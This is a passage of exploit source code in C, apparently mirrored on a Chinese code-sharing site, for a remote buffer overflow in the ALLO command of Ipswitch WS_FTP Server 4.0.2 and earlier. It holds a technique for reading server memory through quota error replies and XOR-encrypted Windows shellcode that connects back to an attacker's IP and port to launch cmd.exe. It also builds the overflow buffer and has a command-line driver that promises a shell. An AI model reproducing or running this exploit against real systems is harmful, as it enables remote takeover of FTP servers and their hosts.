ws_ftp server 小于等于4.0.2 allo remote buffer overflow.txt
来自「一些可以实现益出的程序」· 文本 代码 · 共 1,206 行 · 第 1/2 页
TXT
1,206 行
msg("[-] C4n't k1ll 4 z0mbie\n");
return 0;
}
return 1;
}
SOCKET get_data_sock(SOCKET s, const char* filename, const char* cmd)
{
SOCKET sd = INVALID_SOCKET;
int error = 1;
__try
{
sockaddr_in saddr;
int len = sizeof(saddr);
if (getsockname(s, (sockaddr*)&saddr, &len) < 0 || len != sizeof(saddr) ||
(sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
__leave;
sockaddr_in daddr;
memset(&daddr, 0, sizeof(daddr));
daddr.sin_family = AF_INET;
daddr.sin_port = 0;
daddr.sin_addr.s_addr = saddr.sin_addr.s_addr;
len = sizeof(daddr);
if (bind(sd, (sockaddr*)&daddr, sizeof(daddr)) < 0 || listen(sd, 1) < 0 ||
getsockname(sd, (sockaddr*)&daddr, &len) < 0 || len != sizeof(daddr))
__leave;
unsigned long ip = ntohl(daddr.sin_addr.s_addr);
unsigned short port = ntohs(daddr.sin_port);
if (send_cmd(s, "PORT %u,%u,%u,%u,%u,%u\r\n",
(unsigned char)(ip >> 24),
(unsigned char)(ip >> 16),
(unsigned char)(ip >> 8),
(unsigned char)ip,
(unsigned char)(port >> 8),
(unsigned char)port) != 200)
__leave;
if (send_cmd2(s, "%s %s\r\n", cmd, filename) < 0)
__leave;
msg("[+] Waiting for server to connect...\n");
SOCKET sa;
sockaddr_in aaddr;
len = sizeof(aaddr);
if ((sa = accept(sd, (sockaddr*)&aaddr, &len)) < 0)
__leave;
closesocket(sd);
sd = sa;
if (get_reply_code(s) != 150)
__leave;
error = 0;
}
__finally
{
if (error)
{
msg("[-] Could not create data connection, %u\n", GetLastError());
closesocket(sd);
sd = INVALID_SOCKET;
}
else
msg("[+] Server connected\n");
}
return sd;
}
int create_file(SOCKET s, const char* tmpname, unsigned size = 1)
{
int ret = 0;
SOCKET sd = INVALID_SOCKET;
__try
{
if (size > 1 && send_cmd(s, "REST %u\r\n", size) != 350)
__leave;
if ((sd = get_data_sock(s, tmpname, "STOR")) < 0)
__leave;
ret = 1;
}
__finally
{
if (sd >= 0)
closesocket(sd);
}
if (ret && get_reply_code(s) != 226)
ret = 0;
return ret;
}
const unsigned int shlc2_offs_encstart = 0x0000002B;
const unsigned int shlc2_offs_encend = 0x000001B8;
const unsigned int shlc2_offs_enckey = 0x00000025;
unsigned char shlc2_code[] =
"\xEB\x16\x78\x56\x34\x12\x78\x56\x34\x12\x78\x56\x34\x12\x78\x56"
"\x34\x12\x5B\x53\x83\xEB\x1D\xC3\xE8\xF5\xFF\xFF\xFF\x33\xC9\xB1"
"\x64\x81\x74\x8B\x27\x55\x55\x55\x55\xE2\xF6\xFC\x8B\x43\x0A\x31"
"\x43\x02\x8B\x43\x0E\x31\x43\x06\x89\x4B\x0A\x89\x4B\x0E\x64\x8B"
"\x35\x30\x00\x00\x00\x8B\x76\x0C\x8B\x76\x1C\xAD\x8B\x68\x08\x8D"
"\x83\x67\x01\x00\x00\x55\xE8\xB7\x00\x00\x00\x68\x33\x32\x00\x00"
"\x68\x77\x73\x32\x5F\x54\xFF\xD0\x96\x8D\x83\x74\x01\x00\x00\x56"
"\xE8\x9D\x00\x00\x00\x81\xEC\x90\x01\x00\x00\x54\x68\x01\x01\x00"
"\x00\xFF\xD0\x8D\x83\x7F\x01\x00\x00\x56\xE8\x83\x00\x00\x00\x33"
"\xC9\x51\x51\x51\x6A\x06\x6A\x01\x6A\x02\xFF\xD0\x97\x8D\x83\x8A"
"\x01\x00\x00\x56\xE8\x69\x00\x00\x00\x33\xC9\x51\x51\x51\x51\x6A"
"\x10\x8D\x4B\x02\x51\x57\xFF\xD0\xB9\x54\x00\x00\x00\x2B\xE1\x88"
"\x6C\x0C\xFF\xE2\xFA\xC6\x44\x24\x10\x44\x41\x88\x4C\x24\x3C\x88"
"\x4C\x24\x3D\x89\x7C\x24\x48\x89\x7C\x24\x4C\x89\x7C\x24\x50\x49"
"\x8D\x44\x24\x10\x54\x50\x51\x51\x51\x6A\x01\x51\x51\x8D\x83\xA4"
"\x01\x00\x00\x50\x51\x8D\x83\x95\x01\x00\x00\x55\xE8\x11\x00\x00"
"\x00\x59\xFF\xD0\x8D\x83\xAC\x01\x00\x00\x55\xE8\x02\x00\x00\x00"
"\xFF\xD0\x60\x8B\x7C\x24\x24\x8D\x6F\x78\x03\x6F\x3C\x8B\x6D\x00"
"\x03\xEF\x83\xC9\xFF\x41\x3B\x4D\x18\x72\x0B\x64\x89\x0D\x00\x00"
"\x00\x00\x8B\xE1\xFF\xE4\x8B\x5D\x20\x03\xDF\x8B\x1C\x8B\x03\xDF"
"\x8B\x74\x24\x1C\xAC\x38\x03\x75\xDC\x43\x84\xC0\x75\xF6\x8B\x5D"
"\x24\x03\xDF\x0F\xB7\x0C\x4B\x8B\x5D\x1C\x03\xDF\x8B\x0C\x8B\x03"
"\xCF\x89\x4C\x24\x1C\x61\xC3\x4C\x6F\x61\x64\x4C\x69\x62\x72\x61"
"\x72\x79\x41\x00\x57\x53\x41\x53\x74\x61\x72\x74\x75\x70\x00\x57"
"\x53\x41\x53\x6F\x63\x6B\x65\x74\x41\x00\x57\x53\x41\x43\x6F\x6E"
"\x6E\x65\x63\x74\x00\x43\x72\x65\x61\x74\x65\x50\x72\x6F\x63\x65"
"\x73\x73\x41\x00\x63\x6D\x64\x2E\x65\x78\x65\x00\x45\x78\x69\x74"
"\x50\x72\x6F\x63\x65\x73\x73\x00";
int is_valid_shlc2(char c)
{
return c != 0;
}
struct tfs_data
{
tfs_data() : tot_size(0), line(0), ok(0) {}
int line;
unsigned tot_size;
int ok;
};
int tfs_line_callback(void* data, char* line)
{
tfs_data* m = (tfs_data*)data;
if (++m->line != 1)
return 1;
if (strncmp(line, "250-", 4) ||
(m->tot_size = atoi(line+4)) == 0)
return 1;
m->ok = 1;
return 1;
}
int get_user_total_file_size(SOCKET s, unsigned& tot_size)
{
int ret = 0;
SOCKET sd = INVALID_SOCKET;
__try
{
/*
* Create a $message.txt file
*/
if ((sd = get_data_sock(s, "$message.txt", "STOR")) < 0 ||
send(sd, "%z", 2, 0) != 2)
__leave;
closesocket(sd);
sd = INVALID_SOCKET;
if (get_reply_code(s) != 226)
__leave;
tfs_data m;
const DWORD max_wait = 10000;
for (DWORD tc = GetTickCount(); GetTickCount() - tc < max_wait; )
{
if (send_cmd2(s, "CWD .\r\n") < 0)
__leave;
m.ok = m.line = 0;
int code = get_reply_code(s, tfs_line_callback, &m);
if (code != 500)
break;
}
if (!m.ok)
__leave;
tot_size = m.tot_size;
ret = 1;
}
__finally
{
if (sd >= 0)
closesocket(sd);
}
if (!ret)
msg("[-] Failed to get user total file size.\n Are you sure there's a total file size limit for this user?\n");
return ret;
}
int delete_file(SOCKET s, const char* filename)
{
DWORD tc = GetTickCount();
const DWORD wait = 10000;
while (1)
{
if (GetTickCount() - tc > wait)
return 0;
if (send_cmd(s, "STAT %s\r\n", filename) != 211)
return 1;
if (send_cmd(s, "DELE %s\r\n", filename) < 0)
return 0;
}
}
int create_file_for_addr(SOCKET s, unsigned addr)
{
int ret = 0;
__try
{
if (addr >= MAX_ADDR)
{
msg2("[-] Trying to read an addr (%08X) >= MAX_ADDR (%08X)\n", addr, MAX_ADDR);
__leave;
}
if (!delete_file(s, temp_file))
msg("[-] Could not delete file\n");
unsigned tot_size;
if (!get_user_total_file_size(s, tot_size))
__leave;
if (addr < tot_size)
{
msg2("[-] You must delete some user files to read address %08X\n", addr);
__leave;
}
unsigned size = addr - tot_size;
if (!create_file(s, temp_file, size))
__leave;
ret = 1;
}
__finally
{
}
return ret;
}
/*
* Returns < 0 => error
* Returns = 0 => server thread crashed
* Returns > 0 => read this many bytes into dst
*/
int xuser::read_serv_mem(unsigned addr, void* dst, int dstlen)
{
int file_created = 0;
int ret = -1;
__try
{
if (!create_file_for_addr(s, addr))
__leave;
file_created = 1;
if (send_cmd2(s, ALLO_STRING "\r\n") < 0)
__leave;
char buf[MAXLINE];
int bufsz = 0;
const char* m1 = "452 ";
int type = 0;
while (1)
{
if (bufsz >= sizeof(buf)-1)
__leave;
int size = _recv(s, &buf[bufsz], sizeof(buf)-1-bufsz, 0);
if (size < 0)
__leave;
if (size == 0)
{
if (bufsz == 0)
ret = 0;
__leave;
}
bufsz += size;
buf[bufsz] = 0;
if (bufsz >= (int)strlen(m1) && memcmp(m1, buf, strlen(m1)))
__leave; // Wrong reply code
const char* s1 = " files\r\n";
const char* s2 = " size\r\n";
if (bufsz >= (int)strlen(s1) && !memcmp(s1, &buf[bufsz-strlen(s1)], strlen(s1)))
{
type = 0;
break;
}
if (bufsz >= (int)strlen(s2) && !memcmp(s2, &buf[bufsz-strlen(s2)], strlen(s2)))
{
type = 1;
break;
}
}
const char* s = "quota exceeded; ";
const char* f1 = " size; ";
const char* f2 = " size\r\n";
const char* f3 = " files; ";
char* b = buf + strlen(m1);
if (strncmp(b, s, strlen(s)))
__leave;
char* ss = NULL, *se = NULL;
if (type == 0) // "quota exceeded; %s size; %u files\r\n"
{
ss = b + strlen(s);
for (int i = bufsz-(int)strlen(f1); ; i--)
{
if (i < 0)
__leave;
if (strncmp(f1, &buf[i], strlen(f1)))
continue; // Not equal to " size; "
se = &buf[i];
break;
}
}
else // "quota exceeded; %u files; %s size\r\n"
{
ss = strstr(buf, f3);
if (!ss)
__leave;
ss += strlen(f3);
se = &buf[bufsz-strlen(f2)];
}
if (!se || !ss || se < ss)
{
msg("[-] Buggy code\n");
__leave;
}
*se = 0;
int rd_size = (int)(UINT_PTR)(se - ss) + 1; // One 00h byte
ret = min((int)dstlen, rd_size);
memcpy(dst, ss, ret);
}
__finally
{
}
if (ret < 0)
msg("[-] Could not read server memory\n");
else if (ret == 0)
{
// Server thread crashed
if (!init(ip, port, username, userpass))
ret = -1;
}
return ret;
}
int xuser::read_serv_mem_bytes(unsigned addr, void* dst, int dstlen)
{
for (int i = 0; i < (int)dstlen; )
{
int len = read_serv_mem(addr+i, (char*)dst+i, dstlen-i);
if (len <= 0)
return len;
i += len;
}
return dstlen;
}
int xuser::read_serv_mem_string(unsigned addr, char* dst, int dstlen)
{
int len = read_serv_mem(addr, dst, dstlen);
if (len <= 0)
return len;
if (dst[len-1] != 0)
return -1;
return len;
}
int xuser::read_serv_mem_uint32(unsigned addr, unsigned* dst)
{
unsigned char tmp[4];
int ret = read_serv_mem_bytes(addr, tmp, sizeof(tmp));
if (ret <= 0)
return ret;
if (ret != sizeof(tmp))
return -1;
*dst = (tmp[3] << 24) | (tmp[2] << 16) | (tmp[1] << 8) | tmp[0];
return ret;
}
int xuser::exploit(unsigned long sip, unsigned short sport)
{
int ret = 0;
char* shellcode = NULL;
char* badbuf = NULL;
__try
{
/*
* Encrypt the shellcode
*/
const shellcode_len = sizeof(shlc2_code)-1;
shellcode = new char[shellcode_len+1];
memcpy(shellcode, shlc2_code, shellcode_len);
shellcode[shellcode_len] = 0;
shellcode[2] = (char)2;
shellcode[3] = (char)(2 >> 8);
shellcode[4] = (char)(sport >> 8);
shellcode[5] = (char)sport;
shellcode[6] = (char)(sip >> 24);
shellcode[7] = (char)(sip >> 16);
shellcode[8] = (char)(sip >> 8);
shellcode[9] = (char)sip;
for (int i = 0; i < 8; i++)
{
if (!enc_byte(shellcode[2+i], shellcode[2+8+i], is_valid_shlc2))
__leave;
}
for (int i = 0; i < 4; i++)
{
int k = get_enc_key(&shellcode[shlc2_offs_encstart], shlc2_offs_encend-shlc2_offs_encstart, i, 4, is_valid_shlc2);
if (k < 0)
__leave;
shellcode[shlc2_offs_enckey+i] = k;
}
msg("[+] Shellcode encryption key = %02X%02X%02X%02X\n",
(unsigned char)shellcode[shlc2_offs_enckey+3],
(unsigned char)shellcode[shlc2_offs_enckey+2],
(unsigned char)shellcode[shlc2_offs_enckey+1],
(unsigned char)shellcode[shlc2_offs_enckey]);
for (int i = 0; i < shlc2_offs_encend-shlc2_offs_encstart; i++)
shellcode[shlc2_offs_encstart+i] ^= shellcode[shlc2_offs_enckey + i % 4];
/*
* Do some sanity checks
*/
if (!check_invd_bytes("shellcode", shellcode, shellcode_len, is_valid_shlc2) ||
!check_invd_bytes("ret_addr", ret_addr, 4, is_valid_shlc2))
__leave;
if (!delete_file(s, temp_file))
{
msg("Could not delete file\n");
__leave;
}
unsigned tot_size;
if (!get_user_total_file_size(s, tot_size))
__leave;
msg("[+] Scanning server memory: ");
quite_you = 1;
const unsigned ADDR_START = SERV_STK_SIZE;
const unsigned ADDR_END = MAX_ADDR-1;
unsigned this_ptr;
for (unsigned addr = ADDR_START; ; addr += SERV_STK_SIZE)
{
if (addr > ADDR_END || !addr)
{
/*
* Can happen if the address of the thread's stack is not in the same position in
* memory. This most likely happens when another user logged in or it sent a FTP
* command which creates a new server thread. Try again.
*/
msg2("[-] Could not find the this ptr. Try again.\n");
__leave;
}
int rc = read_serv_mem_uint32(addr + SERV_STK_OFFS + SERV_STK_THIS_OFFS, &this_ptr);
if (rc < 0)
{
msg2("- unknown error\n"); // Error
__leave;
}
else if (rc == 0)
{
msg2("x"); // Crashed
}
else
{
msg2("."); // Bingo
char tmp[0x200];
if (this_ptr + SERV_THIS_USERNAME_OFFS < MAX_ADDR && this_ptr + SERV_THIS_CMDBUF_OFFS < MAX_ADDR &&
read_serv_mem_string(this_ptr + SERV_THIS_USERNAME_OFFS, tmp, sizeof(tmp)) > 0 &&
!strcmp(tmp, username) &&
read_serv_mem_string(this_ptr + SERV_THIS_CMDBUF_OFFS, tmp, sizeof(tmp)) > 0 &&
!strcmp(tmp, ALLO_STRING))
break;
}
}
quite_you = 0;
msg("\n[+] this = %08X\n", this_ptr);
const char* s1 = "quota exceeded; ";
char padding[SERV_BUF_EIP];
int padding_len = sizeof(padding) - (int)strlen(s1);
memset(padding, 'A', sizeof(padding));
int xpsz = (int)strlen(ALLO_STRING "\r\n") + padding_len + 4 + shellcode_len;
badbuf = new char[xpsz+1];
badbuf[xpsz] = 0;
int tmpidx = 0;
if (!add_bytes(badbuf, tmpidx, xpsz, ALLO_STRING "\r\n", (int)strlen(ALLO_STRING "\r\n")) ||
!add_bytes(badbuf, tmpidx, xpsz, padding, padding_len) ||
!add_bytes(badbuf, tmpidx, xpsz, ret_addr, 4) ||
!add_bytes(badbuf, tmpidx, xpsz, shellcode, shellcode_len) ||
tmpidx != xpsz)
{
msg("[-] This is a bug. Now you know\n");
__leave;
}
if (!create_file_for_addr(s, this_ptr + SERV_THIS_CMDBUF_OFFS + strlen(ALLO_STRING "\r\n")))
__leave;
if (send_cmd2(s, badbuf) < 0)
__leave;
ret = 1;
}
__finally
{
quite_you = 0;
if (shellcode)
delete shellcode;
if (badbuf)
delete badbuf;
}
return ret;
}
void show_help(char* pname)
{
msg("%s <ip> <port> <sip> <sport> [-u username] [-p userpass] [-a]\n", pname);
exit(1);
}
int main(int argc, char** argv)
{
msg("Ipswitch WS_FTP Server <= 4.0.2 ALLO exploit\n");
msg("(c)2004 Hugh Mann hughmann@hotmail.com\n");
WSADATA wsa;
if (WSAStartup(0x0202, &wsa))
return 1;
if (argc < 5)
show_help(argv[0]);
unsigned long ip = ntohl(inet_addr(argv[1]));
unsigned short port = (unsigned short)atoi(argv[2]);
unsigned long sip = ntohl(inet_addr(argv[3]));
unsigned short sport = (unsigned short)atoi(argv[4]);
const char* username = "anonymous";
const char* userpass = "Hugh Mann";
for (int i = 5; i < argc; i++)
{
if (!strcmp(argv[i], "-u") && i + 1 < argc)
{
username = argv[++i];
}
else if (!strcmp(argv[i], "-p") && i + 1 < argc)
{
userpass = argv[++i];
}
else if (!strcmp(argv[i], "-a"))
{
output_all = 1;
}
else
show_help(argv[0]);
}
if (!ip || !port || !sip || !sport)
show_help(argv[0]);
xuser user;
if (!user.init(ip, port, username, userpass))
return 0;
if (!user.exploit(sip, sport))
msg("[-] u n33d t0 s7uddy m0r3...\n");
else
msg("[+] Wait a few secs for a shell\n");
return 0;
}
⌨️ 快捷键说明
复制代码Ctrl + C
搜索代码Ctrl + F
全屏模式F11
增大字号Ctrl + =
减小字号Ctrl + -
显示快捷键?